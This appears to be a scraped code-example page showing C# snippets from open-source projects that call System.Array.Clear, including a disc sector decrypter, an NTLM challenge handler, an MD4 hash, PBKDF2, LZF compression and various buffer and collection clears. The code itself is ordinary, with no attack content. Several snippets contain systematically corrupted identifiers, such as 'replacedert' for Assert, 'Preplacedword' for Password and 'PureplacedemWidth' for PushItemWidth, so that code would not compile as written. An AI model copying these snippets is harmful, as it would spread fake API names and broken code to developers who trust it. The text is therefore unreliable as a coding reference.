System.Array.Clear(System.Array, int, int)

Here are the examples of the csharp api System.Array.Clear(System.Array, int, int) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

1473 Examples 7

19 View Source File : Decrypter.cs
License : MIT License
Project Creator : 13xforever

public override int Read( byte[] buffer, int offset, int count)
        {
            if (Position == inputStream.Length)
                return 0;

            var positionInSector = Position % sectorSize;
            var resultCount = 0;
            if (positionInSector > 0)
            {
                var len = (int)Math.Min(Math.Min(count, sectorSize - positionInSector), inputStream.Position - Position);
                md5.TransformBlock(bufferedSector, (int)positionInSector, len, buffer, offset);
                sha1.TransformBlock(bufferedSector, (int)positionInSector, len, buffer, offset);
                sha256.TransformBlock(bufferedSector, (int)positionInSector, len, buffer, offset);
                offset += len;
                count -= len;
                resultCount += len;
                Position += len;
                if (Position % sectorSize == 0)
                    SectorPosition++;
            }
            if (Position == inputStream.Length)
                return resultCount;

            int readCount;
            do
            {
                readCount = inputStream.ReadExact(tmpSector, 0, sectorSize);
                if (readCount < sectorSize)
                    Array.Clear(tmpSector, readCount, sectorSize - readCount);
                var decryptedSector = tmpSector;
                if (IsEncrypted(SectorPosition))
                {
                    WasEncrypted = true;
                    if (readCount % 16 != 0)
                    {
                        Log.Debug($"Block has only {(readCount % 16) * 8} bits of data, reading raw sector...");
                        discStream.Seek(SectorPosition * sectorSize, SeekOrigin.Begin);
                        var newTmpSector = new byte[sectorSize];
                        discStream.ReadExact(newTmpSector, 0, sectorSize);
                        if (!newTmpSector.Take(readCount).SequenceEqual(tmpSector.Take(readCount)))
                            Log.Warn($"Filesystem data and raw data do not match for sector 0x{SectorPosition:x8}");
                        tmpSector = newTmpSector;
                    }
                    using var aesTransform = aes.CreateDecryptor(decryptionKey, GetSectorIV(SectorPosition));
                    decryptedSector = aesTransform.TransformFinalBlock(tmpSector, 0, sectorSize);
                }
                else
                    WasUnprotected = true;
                if (count >= readCount)
                {
                    md5.TransformBlock(decryptedSector, 0, readCount, buffer, offset);
                    sha1.TransformBlock(decryptedSector, 0, readCount, buffer, offset);
                    sha256.TransformBlock(decryptedSector, 0, readCount, buffer, offset);
                    offset += readCount;
                    count -= readCount;
                    resultCount += readCount;
                    Position += readCount;
                    SectorPosition++;
                }
                else // partial sector read
                {
                    Buffer.BlockCopy(decryptedSector, 0, bufferedSector, 0, sectorSize);
                    md5.TransformBlock(decryptedSector, 0, count, buffer, offset);
                    sha1.TransformBlock(decryptedSector, 0, count, buffer, offset);
                    sha256.TransformBlock(decryptedSector, 0, count, buffer, offset);
                    offset += count;
                    count = 0;
                    resultCount += count;
                    Position += count;
                }
            } while (count > 0 && readCount == sectorSize);
            return resultCount;
        }

19 View Source File : MinHeap.cs
License : MIT License
Project Creator : 39M

public void Clear() {
      Array.Clear(_array, 0, _count);
      _count = 0;
    }

19 View Source File : RingBuffer.cs
License : MIT License
Project Creator : 39M

public void Clear() {
      if (_count != 0) {
        Array.Clear(_array, 0, _array.Length);
        _front = 0;
        _count = 0;
      }
    }

19 View Source File : MD4Managed.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : 3gstudent

public override void Initialize()
        {
            this.count[0] = 0;
            this.count[1] = 0;
            this.state[0] = 0x67452301;
            this.state[1] = 0xefcdab89;
            this.state[2] = 0x98badcfe;
            this.state[3] = 0x10325476;
            Array.Clear(this.buffer, 0, 0x40);
            Array.Clear(this.x, 0, 0x10);
        }

19 View Source File : BasicList.cs
License : MIT License
Project Creator : 404Lcc

internal void Clear()
            {
                if(data != null)
                {
                    Array.Clear(data, 0, data.Length);
                }
                length = 0;
            }

19 View Source File : NTLM.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : 3gstudent

public byte[] ProcessChallenge(byte[] Challenge)
        {
            byte[] bytes;
            RdpPacket packet = new RdpPacket();
            this.m_ChallengeMsg = Challenge;
            packet.Write(Challenge, 0, Challenge.Length);
            packet.Position = 0L;
            long position = packet.Position;

            if (packet.ReadString(8) != "NTLMSSP\0")
            {
                throw new Exception("Invalid negotiation token!");
            }

            if (packet.ReadLittleEndian32() != 2)
            {
                throw new Exception("Expected challenge!");
            }

            int count = packet.ReadLittleEndian16();
            packet.ReadLittleEndian16();
            int num4 = packet.ReadLittleEndian32();
            uint flags = (uint) packet.ReadLittleEndian32();
            DumpFlags(flags);
            byte[] buffer = new byte[8];
            packet.Read(buffer, 0, 8);
            DumpHex(buffer, buffer.Length, "Server Challenge");
            byte[] buffer2 = new byte[8];
            packet.Read(buffer2, 0, 8);
            int num5 = packet.ReadLittleEndian16();
            packet.ReadLittleEndian16();
            int num6 = packet.ReadLittleEndian32();

            if ((flags & 0x2000000) != 0)
            {
                byte[] buffer3 = new byte[8];
                packet.Read(buffer3, 0, 8);
            }

            if ((flags & 0x20000000) == 0)
            {
                throw new Exception("Strong Encryption not supported by server");
            }

            byte[] buffer4 = null;

            if (count > 0)
            {
                buffer4 = new byte[count];
                packet.Position = position + num4;
                packet.Read(buffer4, 0, count);
                Encoding.Unicode.GetString(buffer4, 0, buffer4.Length);
            }

            AV_PAIRS av_pairs = new AV_PAIRS();
            byte[] buffer5 = null;

            if (num5 <= 0)
            {
                throw new Exception("No TargetInfo!");
            }

            packet.Position = position + num6;
            buffer5 = new byte[num5];
            packet.Read(buffer5, 0, num5);
            packet = new RdpPacket();
            packet.Write(buffer5, 0, buffer5.Length);
            packet.Position = 0L;
            av_pairs.Parse(packet);

            buffer5 = av_pairs.Serialise();

            byte[] data = nTOWFv2(this.m_sDomain, this.m_sUsername, this.m_sPreplacedword);

            if (Network.Logger != null)
            {
                if (Network.Logger.Reading)
                {
                    data = this.m_Socket.GetBlob(PacketLogger.PacketType.NTLM_ResponseKeyNT);
                }
                else
                {
                    this.m_Socket.AddBlob(PacketLogger.PacketType.NTLM_ResponseKeyNT, data);
                }
            }

            byte[] blob = new byte[8];
            RNGCryptoServiceProvider provider = new RNGCryptoServiceProvider();
            provider.GetBytes(blob);

            if (Network.Logger != null)
            {
                if (Network.Logger.Reading)
                {
                    blob = this.m_Socket.GetBlob(PacketLogger.PacketType.NTLM_ClientChallenge);
                }
                else
                {
                    this.m_Socket.AddBlob(PacketLogger.PacketType.NTLM_ClientChallenge, blob);
                }
            }

            DumpHex(blob, blob.Length, "Client Challenge");
            byte[] buffer8 = getLMv2Response(data, buffer, blob);
            DumpHex(buffer8, buffer8.Length, "LM Response");

            if (this.m_bNTLMv2)
            {
                Array.Clear(buffer8, 0, buffer8.Length);
            }

            bool bGenerateMIC = false;

            if ((av_pairs.Timestamp.length <= 0) || !this.m_bNTLMv2)
            {
                bytes = BitConverter.GetBytes(DateTime.UtcNow.ToFileTimeUtc());
            }
            else
            {
                bytes = av_pairs.Timestamp.value;
                bGenerateMIC = true;
                av_pairs.ProcessForNTLMv2();
                buffer5 = av_pairs.Serialise();
            }

            DumpHex(buffer5, buffer5.Length, "targetinfo");
            byte[] keyExchangeKey = null;
            byte[] buffer11 = getNTLMv2Response(data, buffer, blob, bytes, buffer5, out keyExchangeKey);
            DumpHex(buffer11, buffer11.Length, "NTLMv2 Response");

            if (Network.Logger != null)
            {
                if (Network.Logger.Reading)
                {
                    keyExchangeKey = this.m_Socket.GetBlob(PacketLogger.PacketType.NTLM_KeyExchangeKey);
                }
                else
                {
                    this.m_Socket.AddBlob(PacketLogger.PacketType.NTLM_KeyExchangeKey, keyExchangeKey);
                }
            }

            byte[] encryptedRandomSessionKey = null;
            byte[] buffer13 = null;
            buffer13 = new byte[0x10];
            provider.GetBytes(buffer13);

            if (Network.Logger != null)
            {
                if (Network.Logger.Reading)
                {
                    buffer13 = this.m_Socket.GetBlob(PacketLogger.PacketType.NTLM_ExportedSessionKey);
                }
                else
                {
                    this.m_Socket.AddBlob(PacketLogger.PacketType.NTLM_ExportedSessionKey, buffer13);
                }
            }

            encryptedRandomSessionKey = new byte[0x10];
            RC4 rc = new RC4();
            rc.engineInitEncrypt(keyExchangeKey);
            encryptedRandomSessionKey = rc.crypt(buffer13);

            if ((flags & 0x40000000) == 0)
            {
                encryptedRandomSessionKey = new byte[0];
                buffer13 = keyExchangeKey;
            }

            this.InitSignKeys(buffer13);

            return this.Authenticate(buffer8, buffer11, this.m_sDomain, this.m_sUsername, this.m_sWorkstation, encryptedRandomSessionKey, buffer13, bGenerateMIC);
        }

19 View Source File : MicroVM.CPU.cs
License : MIT License
Project Creator : a-downing

public void Reset() {
            Array.Clear(registers, 0, registers.Length);
            memory = null;
            instructions = null;
            flags = (uint)Flag.INTERRUPTS_ENABLED;
            pendingInterrupts.Clear();
        }

19 View Source File : AccelChartData.cs
License : MIT License
Project Creator : a1xd

public void Clear()
        {
            AccelPoints.Clear();
            VelocityPoints.Clear();
            GainPoints.Clear();
            OutVelocityToPoints.Clear();
            Array.Clear(LogToIndex, 0, LogToIndex.Length);
        }

19 View Source File : SliceWriter.cs
License : MIT License
Project Creator : abdullin

public void SetLength(int position)
		{
			Contract.Requires(position >= 0);

			if (this.Position < position)
			{
				int missing = position - this.Position;
				EnsureBytes(missing);
				//TODO: native memset() ?
				Array.Clear(this.Buffer, this.Position, missing);
			}
			this.Position = position;
		}

19 View Source File : SliceWriter.cs
License : MIT License
Project Creator : abdullin

public void Reset()
		{
			if (this.Position > 0)
			{
				// reduce size ?
				// If the buffer exceeds 4K and we used less than 1/8 of it the last time, we will "shrink" the buffer
				if (this.Buffer.Length > 4096 && (this.Position << 3) <= Buffer.Length)
				{ // Shrink it
					Buffer = new byte[SliceHelpers.NextPowerOfTwo(this.Position)];
				}
				else
				{ // Clear it
				  //TODO: native memset() ?
					Array.Clear(Buffer, 0, this.Position);
				}
				this.Position = 0;
			}
		}

19 View Source File : FingerTipPokeTool.cs
License : MIT License
Project Creator : absurd-joy

public override void Initialize()
		{
			replacedert.IsNotNull(_fingerTipPokeToolView);

			InteractableToolsInputRouter.Instance.RegisterInteractableTool(this);
			_fingerTipPokeToolView.InteractableTool = this;

			_velocityFrames = new Vector3[NUM_VELOCITY_FRAMES];
			Array.Clear(_velocityFrames, 0, NUM_VELOCITY_FRAMES);

			StartCoroutine(AttachTriggerLogic());
		}

19 View Source File : OVRLipSync.cs
License : MIT License
Project Creator : absurd-joy

public void Reset()
        {
            frameNumber = 0;
            frameDelay = 0;
            Array.Clear(Visemes, 0, VisemeCount);
            laughterScore = 0;
        }

19 View Source File : VoipAudioSourceHiLevel.cs
License : MIT License
Project Creator : absurd-joy

void OnAudioFilterRead(float[] data, int channels)
      {
        int sizeToFetch = data.Length / channels;
        int sourceBufferSize = sizeToFetch;
        if (sourceBufferSize > scratchBuffer.Length)
        {
          Array.Clear(data, 0, data.Length);
          throw new Exception(string.Format("Audio system tried to pull {0} bytes, max voip internal ring buffer size {1}", sizeToFetch, scratchBuffer.Length));
        }

        int available = parent.pcmSource.PeekSizeElements();
        if (available < sourceBufferSize)
        {
          if (verboseLogging)
          {
            Debug.LogFormat(
              "Voip starved! Want {0}, but only have {1} available",
              sourceBufferSize,
              available);
          }
          return;
        }

        int copied = parent.pcmSource.GetPCM(scratchBuffer, sourceBufferSize);
        if (copied < sourceBufferSize)
        {
          Debug.LogWarningFormat(
            "GetPCM() returned {0} samples, expected {1}",
            copied,
            sourceBufferSize);

          return;
        }

        int dest = 0;
        float tmpPeakAmp = -1;
        for (int i = 0; i < sizeToFetch; i++)
        {
          float val = scratchBuffer[i];
            
          for (int j = 0; j < channels; j++)
          {
            data[dest++] = val;
            if (val > tmpPeakAmp)
            {
              tmpPeakAmp = val;
            }
          }
        }
        parent.peakAmplitude = tmpPeakAmp;
      }

19 View Source File : BufferedPageReaderWriter.cs
License : MIT License
Project Creator : Adoxio

protected void ReadCurrentPage()
		{
			if (this.pageIsChanged)
			{
				throw new InvalidOperationException("Save page before read");
			}

			if (this.pageNumber * this.PageSize >= this.Length)
			{
				// There are no more data. Fill next page with zeros
				Array.Clear(this.pageBuffer, 0, this.PageSize);
			}
			else
			{
				this.ReadPage(this.pageNumber, this.pageBuffer);
			}

			this.pageIsChanged = false;
		}

19 View Source File : CLZF2.cs
License : GNU General Public License v3.0
Project Creator : aelariane

public static int lzf_compress(byte[] input, ref byte[] output)
    {
        int num = input.Length;
        int num2 = output.Length;
        Array.Clear(CLZF2.HashTable, 0, (int)CLZF2.HSIZE);
        uint num3 = 0u;
        uint num4 = 0u;
        uint num5 = (uint)((int)input[(int)((UIntPtr)num3)] << 8 | (int)input[(int)((UIntPtr)(num3 + 1u))]);
        int num6 = 0;
        for (; ; )
        {
            if ((ulong)num3 < (ulong)((long)(num - 2)))
            {
                num5 = (num5 << 8 | (uint)input[(int)((UIntPtr)(num3 + 2u))]);
                long num7 = (long)((ulong)((num5 ^ num5 << 5) >> (int)(24u - CLZF2.HLOG - num5 * 5u) & CLZF2.HSIZE - 1u));
                long num8 = CLZF2.HashTable[(int)(checked((IntPtr)num7))];
                CLZF2.HashTable[(int)(checked((IntPtr)num7))] = (long)((ulong)num3);
                long num9;
                if ((num9 = (long)((ulong)num3 - (ulong)num8 - 1UL)) < (long)((ulong)CLZF2.MAX_OFF) && (ulong)(num3 + 4u) < (ulong)((long)num) && num8 > 0L && input[(int)(checked((IntPtr)num8))] == input[(int)((UIntPtr)num3)] && input[(int)(checked((IntPtr)(unchecked(num8 + 1L))))] == input[(int)((UIntPtr)(num3 + 1u))] && input[(int)(checked((IntPtr)(unchecked(num8 + 2L))))] == input[(int)((UIntPtr)(num3 + 2u))])
                {
                    uint num10 = 2u;
                    uint num11 = (uint)(num - (int)num3 - (int)num10);
                    num11 = ((num11 <= CLZF2.MAX_REF) ? num11 : CLZF2.MAX_REF);
                    if ((ulong)num4 + (ulong)((long)num6) + 1UL + 3UL >= (ulong)((long)num2))
                    {
                        break;
                    }
                    do
                    {
                        num10 += 1u;
                    }
                    while (num10 < num11 && input[(int)(checked((IntPtr)(unchecked(num8 + (long)((ulong)num10)))))] == input[(int)((UIntPtr)(num3 + num10))]);
                    if (num6 != 0)
                    {
                        output[(int)((UIntPtr)(num4++))] = (byte)(num6 - 1);
                        num6 = -num6;
                        do
                        {
                            output[(int)((UIntPtr)(num4++))] = input[(int)(checked((IntPtr)(unchecked((ulong)num3 + (ulong)((long)num6)))))];
                        }
                        while (++num6 != 0);
                    }
                    num10 -= 2u;
                    num3 += 1u;
                    if (num10 < 7u)
                    {
                        output[(int)((UIntPtr)(num4++))] = (byte)((num9 >> 8) + (long)((ulong)((ulong)num10 << 5)));
                    }
                    else
                    {
                        output[(int)((UIntPtr)(num4++))] = (byte)((num9 >> 8) + 224L);
                        output[(int)((UIntPtr)(num4++))] = (byte)(num10 - 7u);
                    }
                    output[(int)((UIntPtr)(num4++))] = (byte)num9;
                    num3 += num10 - 1u;
                    num5 = (uint)((int)input[(int)((UIntPtr)num3)] << 8 | (int)input[(int)((UIntPtr)(num3 + 1u))]);
                    num5 = (num5 << 8 | (uint)input[(int)((UIntPtr)(num3 + 2u))]);
                    CLZF2.HashTable[(int)((UIntPtr)((num5 ^ num5 << 5) >> (int)(24u - CLZF2.HLOG - num5 * 5u) & CLZF2.HSIZE - 1u))] = (long)((ulong)num3);
                    num3 += 1u;
                    num5 = (num5 << 8 | (uint)input[(int)((UIntPtr)(num3 + 2u))]);
                    CLZF2.HashTable[(int)((UIntPtr)((num5 ^ num5 << 5) >> (int)(24u - CLZF2.HLOG - num5 * 5u) & CLZF2.HSIZE - 1u))] = (long)((ulong)num3);
                    num3 += 1u;
                    continue;
                }
            }
            else if ((ulong)num3 == (ulong)((long)num))
            {
                goto Block_13;
            }
            num6++;
            num3 += 1u;
            if ((long)num6 == (long)((ulong)CLZF2.MAX_LIT))
            {
                if ((ulong)(num4 + 1u + CLZF2.MAX_LIT) >= (ulong)((long)num2))
                {
                    return 0;
                }
                output[(int)((UIntPtr)(num4++))] = (byte)(CLZF2.MAX_LIT - 1u);
                num6 = -num6;
                do
                {
                    output[(int)((UIntPtr)(num4++))] = input[(int)(checked((IntPtr)(unchecked((ulong)num3 + (ulong)((long)num6)))))];
                }
                while (++num6 != 0);
            }
        }
        return 0;
        Block_13:
        if (num6 != 0)
        {
            if ((ulong)num4 + (ulong)((long)num6) + 1UL >= (ulong)((long)num2))
            {
                return 0;
            }
            output[(int)((UIntPtr)(num4++))] = (byte)(num6 - 1);
            num6 = -num6;
            do
            {
                output[(int)((UIntPtr)(num4++))] = input[(int)(checked((IntPtr)(unchecked((ulong)num3 + (ulong)((long)num6)))))];
            }
            while (++num6 != 0);
        }
        return (int)num4;
    }

19 View Source File : RawList.cs
License : The Unlicense
Project Creator : aeroson

public void Clear()
        {
            Array.Clear(Elements, 0, Count);
            Count = 0;
        }

19 View Source File : SocketAsyncPool.cs
License : Mozilla Public License 2.0
Project Creator : agebullhu

public void Dispose()
        {
            Array.Clear(_buffer, 0, _buffer.Length);
			GC.SuppressFinalize(_buffer);
			while(_pool.Any())
                _pool.Pop().Dispose();

			try { _acquisitionGate.Release(); } catch { }
        }

19 View Source File : SecretExtensions.cs
License : Apache License 2.0
Project Creator : Aguafrommars

public static XElement ToKeyElement(this ISecret secret) // rename from original ToMasterKeyElement
        {
            // Technically we'll be keeping the unprotected secret around in memory as
            // a string, so it can get moved by the GC, but we should be good citizens
            // and try to pin / clear our our temporary buffers regardless.
            byte[] unprotectedSecretRawBytes = new byte[secret.Length];
            string unprotectedSecretAsBase64String;
            fixed (byte* __unused__ = unprotectedSecretRawBytes)
            {
                try
                {
                    secret.WriteSecretIntoBuffer(new ArraySegment<byte>(unprotectedSecretRawBytes));
                    unprotectedSecretAsBase64String = Convert.ToBase64String(unprotectedSecretRawBytes);
                }
                finally
                {
                    Array.Clear(unprotectedSecretRawBytes, 0, unprotectedSecretRawBytes.Length);
                }
            }

            var masterKeyElement = new XElement("key", // rename from original masterKey
                new XComment(" Warning: the key below is in an unencrypted form. "),
                new XElement("value", unprotectedSecretAsBase64String));
            masterKeyElement.MarkAsRequiresEncryption();
            return masterKeyElement;
        }

19 View Source File : SecretExtensions.cs
License : Apache License 2.0
Project Creator : Aguafrommars

public static Secret ToSecret(this string base64String)
        {
            byte[] unprotectedSecret = Convert.FromBase64String(base64String);
            fixed (byte* __unused__ = unprotectedSecret)
            {
                try
                {
                    return new Secret(unprotectedSecret);
                }
                finally
                {
                    Array.Clear(unprotectedSecret, 0, unprotectedSecret.Length);
                }
            }
        }

19 View Source File : ArrayUtilities.cs
License : Apache License 2.0
Project Creator : aivclab

public static void Clear<T>(ref T[] array)
        {
            Array.Clear(array : array, 0, length : array.Length);
            Array.Resize(array : ref array, 0);
        }

19 View Source File : Mnemonic.cs
License : Apache License 2.0
Project Creator : ajuna-network

public static byte[] PBKDF2Sha512GetBytes(int dklen, byte[] preplacedword, byte[] salt, int iterationCount)
        {
            using (var hmac = new HMACSHA512(preplacedword))
            {
                int hashLength = hmac.HashSize / 8;
                if ((hmac.HashSize & 7) != 0)
                    hashLength++;
                int keyLength = dklen / hashLength;
                if (dklen > (0xFFFFFFFFL * hashLength) || dklen < 0)
                {
                    throw new ArgumentOutOfRangeException("dklen");
                }
                if (dklen % hashLength != 0)
                {
                    keyLength++;
                }
                byte[] extendedkey = new byte[salt.Length + 4];
                Buffer.BlockCopy(salt, 0, extendedkey, 0, salt.Length);
                using (var ms = new MemoryStream())
                {
                    for (int i = 0; i < keyLength; i++)
                    {
                        extendedkey[salt.Length] = (byte)(((i + 1) >> 24) & 0xFF);
                        extendedkey[salt.Length + 1] = (byte)(((i + 1) >> 16) & 0xFF);
                        extendedkey[salt.Length + 2] = (byte)(((i + 1) >> 8) & 0xFF);
                        extendedkey[salt.Length + 3] = (byte)(((i + 1)) & 0xFF);
                        byte[] u = hmac.ComputeHash(extendedkey);
                        Array.Clear(extendedkey, salt.Length, 4);
                        byte[] f = u;
                        for (int j = 1; j < iterationCount; j++)
                        {
                            u = hmac.ComputeHash(u);
                            for (int k = 0; k < f.Length; k++)
                            {
                                f[k] ^= u[k];
                            }
                        }
                        ms.Write(f, 0, f.Length);
                        Array.Clear(u, 0, u.Length);
                        Array.Clear(f, 0, f.Length);
                    }
                    byte[] dk = new byte[dklen];
                    ms.Position = 0;
                    ms.Read(dk, 0, dklen);
                    ms.Position = 0;
                    for (long i = 0; i < ms.Length; i++)
                    {
                        ms.WriteByte(0);
                    }
                    Array.Clear(extendedkey, 0, extendedkey.Length);
                    return dk;
                }
            }
        }

19 View Source File : Zip.cs
License : Apache License 2.0
Project Creator : akarnokd

internal void Drain()
            {
                if (Interlocked.Increment(ref wip) != 1)
                {
                    return;
                }

                var missed = 1;
                var observers = this.observers;
                var n = observers.Length;
                var downstream = this.downstream;
                var delayErrors = this.delayErrors;
                var hasValues = this.hasValues;

                for (; ;)
                {
                    for (; ;)
                    {
                        if (Volatile.Read(ref disposed))
                        {
                            Array.Clear(values, 0, values.Length);
                            break;
                        }

                        if (!delayErrors)
                        {
                            var ex = Volatile.Read(ref error);
                            if (ex != null)
                            {
                                downstream.OnError(ex);
                                DisposeAll();
                                continue;
                            }
                        }

                        int ready = 0;
                        bool done = false;

                        for (int i = 0; i < n; i++)
                        {
                            if (hasValues[i])
                            {
                                ready++;
                            }
                            else
                            {
                                var inner = Volatile.Read(ref observers[i]);
                                if (inner != null)
                                {
                                    var d = inner.IsDone();
                                    var empty = !inner.queue.TryDequeue(out var v);

                                    if (d && empty)
                                    {
                                        done = true;
                                        break;
                                    }

                                    if (!empty)
                                    {
                                        hasValues[i] = true;
                                        values[i] = v;
                                        ready++;
                                    }
                                }
                            }
                        }

                        if (done)
                        {
                            var ex = Volatile.Read(ref error);
                            if (ex != null)
                            {
                                downstream.OnError(ex);
                            }
                            else
                            {
                                downstream.OnCompleted();
                            }
                            DisposeAll();
                            continue;
                        }

                        if (ready == n)
                        {
                            var vals = values;
                            values = new T[n];
                            Array.Clear(hasValues, 0, hasValues.Length);

                            var result = default(R);

                            try
                            {
                                result = mapper(vals);
                            }
                            catch (Exception ex)
                            {
                                if (delayErrors)
                                {
                                    ExceptionHelper.AddException(ref error, ex);
                                    ex = ExceptionHelper.Terminate(ref error);
                                    downstream.OnError(ex);
                                    DisposeAll();
                                } else
                                {
                                    if (Interlocked.CompareExchange(ref error, ex, null) == null)
                                    {
                                        downstream.OnError(ex);
                                        DisposeAll();
                                    }
                                }
                                continue;
                            }

                            downstream.OnNext(result);
                        }
                        else
                        {
                            break;
                        }
                    }

                    missed = Interlocked.Add(ref wip, -missed);
                    if (missed == 0)
                    {
                        break;
                    }
                }
            }

19 View Source File : ObservableSourceZip.cs
License : Apache License 2.0
Project Creator : akarnokd

internal void Drain()
            {
                if (Interlocked.Increment(ref wip) != 1)
                {
                    return;
                }

                var missed = 1;
                var observers = this.observers;
                var n = observers.Length;
                var downstream = this.downstream;
                var delayErrors = this.delayErrors;
                var hasValues = this.hasValues;

                for (; ;)
                {
                    for (; ;)
                    {
                        if (Volatile.Read(ref disposed))
                        {
                            Array.Clear(values, 0, values.Length);
                            break;
                        }

                        if (!delayErrors)
                        {
                            var ex = Volatile.Read(ref error);
                            if (ex != null)
                            {
                                downstream.OnError(ex);
                                DisposeAll();
                                continue;
                            }
                        }

                        int ready = 0;
                        bool done = false;

                        for (int i = 0; i < n; i++)
                        {
                            if (hasValues[i])
                            {
                                ready++;
                            }
                            else
                            {
                                var inner = Volatile.Read(ref observers[i]);
                                if (inner != null)
                                {
                                    var d = inner.IsDone();
                                    var q = Volatile.Read(ref inner.queue);
                                    var v = default(T);
                                    var success = false;
                                    
                                    try
                                    {
                                        if (q != null)
                                        {
                                            v = q.TryPoll(out success);
                                        }
                                    }
                                    catch (Exception ex)
                                    {
                                        if (delayErrors)
                                        {
                                            inner.Dispose();
                                            ExceptionHelper.AddException(ref error, ex);
                                            inner.SetDone();
                                            d = true;
                                        }
                                        else
                                        {
                                            Interlocked.CompareExchange(ref error, ex, null);
                                            ex = Volatile.Read(ref error);
                                            downstream.OnError(ex);
                                            DisposeAll();
                                            continue;
                                        }
                                    }

                                    if (d && !success)
                                    {
                                        done = true;
                                        break;
                                    }

                                    if (success)
                                    {
                                        hasValues[i] = true;
                                        values[i] = v;
                                        ready++;
                                    }
                                }
                            }
                        }

                        if (done)
                        {
                            var ex = Volatile.Read(ref error);
                            if (ex != null)
                            {
                                downstream.OnError(ex);
                            }
                            else
                            {
                                downstream.OnCompleted();
                            }
                            DisposeAll();
                            continue;
                        }

                        if (ready == n)
                        {
                            var vals = values;
                            values = new T[n];
                            Array.Clear(hasValues, 0, hasValues.Length);

                            var result = default(R);

                            try
                            {
                                result = mapper(vals);
                            }
                            catch (Exception ex)
                            {
                                if (delayErrors)
                                {
                                    ExceptionHelper.AddException(ref error, ex);
                                    ex = ExceptionHelper.Terminate(ref error);
                                    downstream.OnError(ex);
                                    DisposeAll();
                                } else
                                {
                                    if (Interlocked.CompareExchange(ref error, ex, null) == null)
                                    {
                                        downstream.OnError(ex);
                                        DisposeAll();
                                    }
                                }
                                continue;
                            }

                            downstream.OnNext(result);
                        }
                        else
                        {
                            break;
                        }
                    }

                    missed = Interlocked.Add(ref wip, -missed);
                    if (missed == 0)
                    {
                        break;
                    }
                }
            }

19 View Source File : DrawMusicControlPanel.cs
License : GNU Affero General Public License v3.0
Project Creator : akira0245

private void DrawPanelMusicControl()
    {
        ComboBoxSwitchInstrument();

        SliderProgress();

        if (ImGui.DragFloat("Speed".Localize(), ref MidiBard.config.playSpeed, 0.003f, 0.1f, 10f, GetBpmString(),
                ImGuiSliderFlags.Logarithmic))
        {
            SetSpeed();
        }

        ToolTip("Set the speed of events playing. 1 means normal speed.\nFor example, to play events twice slower this property should be set to 0.5.\nRight Click to reset back to 1.".Localize());

        if (ImGui.IsItemHovered() && ImGui.IsMouseClicked(ImGuiMouseButton.Right))
        {
            MidiBard.config.playSpeed = 1;
            SetSpeed();
        }


        //ImGui.SetNexreplacedemWidth(ImGui.GetWindowWidth() * 0.5f - ImGui.CalcTextSize("Delay".Localize()).X);
        ImGui.PureplacedemWidth(ImGui.GetWindowContentRegionWidth() / 3.36f);
        ImGui.DragFloat("Delay".Localize(), ref MidiBard.config.secondsBetweenTracks, 0.01f, 0, 60,
            $"{MidiBard.config.secondsBetweenTracks:f2} s",
            ImGuiSliderFlags.AlwaysClamp | ImGuiSliderFlags.NoRoundToFormat);
        if (ImGui.IsItemHovered() && ImGui.IsMouseClicked(ImGuiMouseButton.Right))
            MidiBard.config.secondsBetweenTracks = 0;
        ToolTip("Delay time before play next track.".Localize());

        ImGui.SameLine(ImGui.GetWindowContentRegionWidth() / 2);
        ImGui.InputInt("Transpose".Localize(), ref MidiBard.config.TransposeGlobal, 12);
        if (ImGui.IsItemHovered() && ImGui.IsMouseClicked(ImGuiMouseButton.Right))
            MidiBard.config.TransposeGlobal = 0;
        ToolTip("Transpose, measured by semitone. \nRight click to reset.".Localize());
        ImGui.PopItemWidth();

        ImGui.Checkbox("Auto adapt notes".Localize(), ref MidiBard.config.AdaptNotesOOR);
        ToolTip("Adapt high/low pitch notes which are out of range\r\ninto 3 octaves we can play".Localize());

        ImGui.SameLine(ImGui.GetWindowContentRegionWidth() / 2);

        ImGui.Checkbox("Transpose per track".Localize(), ref MidiBard.config.EnableTransposePerTrack);
        if (ImGui.IsItemHovered() && ImGui.IsMouseClicked(ImGuiMouseButton.Right))
            Array.Clear(MidiBard.config.TransposePerTrack, 0, MidiBard.config.TransposePerTrack.Length);
        ToolTip("Transpose per track, right click to reset all tracks' transpose offset back to zero.".Localize());
        //ImGui.SameLine();

        //ImGui.SliderFloat("secbetweensongs", ref config.timeBetweenSongs, 0, 10,
        //	$"{config.timeBetweenSongs:F2} [{500000 * config.timeBetweenSongs:F0}]", ImGuiSliderFlags.AlwaysClamp);


    }

19 View Source File : AssetDuplicateWindow.cs
License : MIT License
Project Creator : akof1314

private void DrawManualAdd()
        {
            var style = replacedetDanshariStyle.Get();
            EditorGUILayout.LabelField(style.duplicateManualAdd);
            EditorGUI.indentLevel++;
            for (int i = 0; i < m_ManualPaths.Length; i++)
            {
                Rect textRect = GUILayoutUtility.GetRect(GUIContent.none, EditorStyles.textField, GUILayout.ExpandWidth(true));
                m_ManualPaths[i] = EditorGUI.TextField(textRect, style.duplicateHeaderContent2, m_ManualPaths[i]);
                m_ManualPaths[i] = OnDrawElementAcceptDrop(textRect, m_ManualPaths[i]);
            }

            EditorGUILayout.BeginHorizontal();
            if (GUILayout.Button(style.sureStr))
            {
                int id = (m_replacedetTreeModel as replacedetDuplicateTreeModel).AddManualData(m_ManualPaths);
                if (id > 0)
                {
                    Array.Clear(m_ManualPaths, 0, m_ManualPaths.Length);
                    m_replacedetTreeView.Reload();
                    m_replacedetTreeView.ForceRefresh();
                    m_replacedetTreeView.SetSelection(new List<int>() {id}, TreeViewSelectionOptions.RevealAndFrame);
                    m_ManualAdd = false;
                }
            }
            if (GUILayout.Button(style.cancelStr))
            {
                m_ManualAdd = false;
            }
            EditorGUILayout.EndHorizontal();
            EditorGUI.indentLevel--;
        }

19 View Source File : Array.cs
License : MIT License
Project Creator : Alan-FGR

[MethodImpl(MethodImplOptions.AggressiveInlining)]
        public void Clear(int start, int count)
        {
            System.Array.Clear(Memory, start, count);
        }

19 View Source File : Array.cs
License : MIT License
Project Creator : Alan-FGR

[MethodImpl(MethodImplOptions.AggressiveInlining)]
        public void ClearManagedReferences(int start, int count)
        {
            //Can't easily check to see if it contains *any* references recursively at compile time, but we can check for primitives with a compile time branch.
            //TODO: Unfortunately, the jit doesn't type specialize the type checks when T is a reference type- which was somewhat expected since all reference
            //types share the same implementation. However, no reference type is a primitive, so it seems like this is something that could be improved pretty easily...
            //In the interim, it's still valuable to have the primitive test for the common case where the type is in fact primitive.
